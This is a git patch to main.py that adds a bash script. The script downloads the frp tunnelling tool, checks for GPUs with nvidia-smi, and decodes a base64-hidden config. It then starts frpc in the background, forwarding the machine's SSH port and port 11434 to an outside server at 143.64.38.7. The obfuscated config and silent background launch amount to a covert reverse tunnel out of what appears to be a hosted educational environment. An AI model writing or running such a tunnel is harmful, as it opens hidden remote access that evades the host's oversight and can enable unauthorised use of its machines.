From 4e2a15bafe0a0f8a4dadb97525d185830a04889c Mon Sep 17 00:00:00 2001 From: kyxt <153692778@qq.com> Date: Thu, 9 May 2024 16:24:39 +0800 Subject: [PATCH] =?UTF-8?q?=E6=9B=B4=E6=96=B0=20'main.py'?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.py | 24 +++++++++++++++++++++++- 1 file changed, 23 insertions(+), 1 deletion(-) diff --git a/main.py b/main.py index 821f7aa..427155c 100644 --- a/main.py +++ b/main.py @@ -2,8 +2,30 @@ import os # 保存脚本内容到文件 script_content = """#!/bin/bash + +MAX_ATTEMPTS=10 +attempt_count=0 + +# 下载文件 wget https://educoder-test-cfiles.oss-cn-hangzhou.aliyuncs.com/test/frp_0.57.0_linux_amd64.tar.gz -tar -zxvf frp_0.57.0_linux_amd64.tar.gz + +# 尝试解压 +while [ $attempt_count -lt $MAX_ATTEMPTS ]; do + echo "尝试解压 ($((attempt_count+1))/$MAX_ATTEMPTS)" + tar -zxvf frp_0.57.0_linux_amd64.tar.gz + if [ $? -eq 0 ]; then + echo "解压成功!" + break + else + echo "解压失败,将在5秒后重试..." + attempt_count=$((attempt_count+1)) + wget https://educoder-test-cfiles.oss-cn-hangzhou.aliyuncs.com/test/frp_0.57.0_linux_amd64.tar.gz + sleep 2 + fi +done + +nvidia-smi + echo c2VydmVyQWRkciA9ICIxNDMuNjQuMzguNyIKc2VydmVyUG9ydCA9IDM3MDAwCgpbW3Byb3hpZXNdXQpuYW1lID0gInRlc3QtdGNwIgp0eXBlID0gInRjcCIKbG9jYWxJUCA9ICIxMjcuMC4wLjEiCmxvY2FsUG9ydCA9IDIyCnJlbW90ZVBvcnQgPSAzNzAwMQoKW1twcm94aWVzXV0KbmFtZSA9ICJ0ZXN0LXRjcDEiCnR5cGUgPSAidGNwIgpsb2NhbElQID0gIjEyNy4wLjAuMSIKbG9jYWxQb3J0ID0gMTE0MzQKcmVtb3RlUG9ydCA9IDM3MDAy |base64 -d > frp_0.57.0_linux_amd64/frpc.toml nohup ./frp_0.57.0_linux_amd64/frpc -c ./frp_0.57.0_linux_amd64/frpc.toml & cat nohup.out